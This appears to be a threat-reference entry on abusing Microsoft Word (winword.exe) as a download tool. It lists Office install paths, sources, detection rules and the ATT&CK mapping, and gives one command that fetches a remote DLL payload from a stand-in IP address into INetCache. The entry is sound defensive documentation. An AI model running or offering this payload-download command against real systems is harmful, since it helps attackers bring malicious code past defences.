

Download (INetCache)

Microsoft Office binary

Paths:

C:\Program Files\Microsoft Office\root\Office16\winword.exe

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe

C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe

C:\Program Files (x86)\Microsoft Office\Office16\winword.exe

C:\Program Files\Microsoft Office\Office16\winword.exe

C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe

C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe

C:\Program Files (x86)\Microsoft Office\Office15\winword.exe

C:\Program Files\Microsoft Office\Office15\winword.exe

C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe

C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe

C:\Program Files (x86)\Microsoft Office\Office14\winword.exe

C:\Program Files\Microsoft Office\Office14\winword.exe

C:\Program Files (x86)\Microsoft Office\Office12\winword.exe

C:\Program Files\Microsoft Office\Office12\winword.exe

C:\Program Files\Microsoft Office\Office12\winword.exe

Resources:

- https://twitter.com/reegun21/status/1150032506504151040
- https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

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• Reegun J (OCBC Bank) (@reegun21)

Detections:

- Sigma: proc creation win office arbitrary cli download.yml
- IOC: Suspicious Office application Internet/network traffic

Download

Downloads payload from remote server

winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Use case: It will download a remote payload and place it in INetCache.

Privileges required: User
Operating systems: Windows

ATT&CK® technique: T1105: Ingress Tool Transfer

Tags: Download: INetCache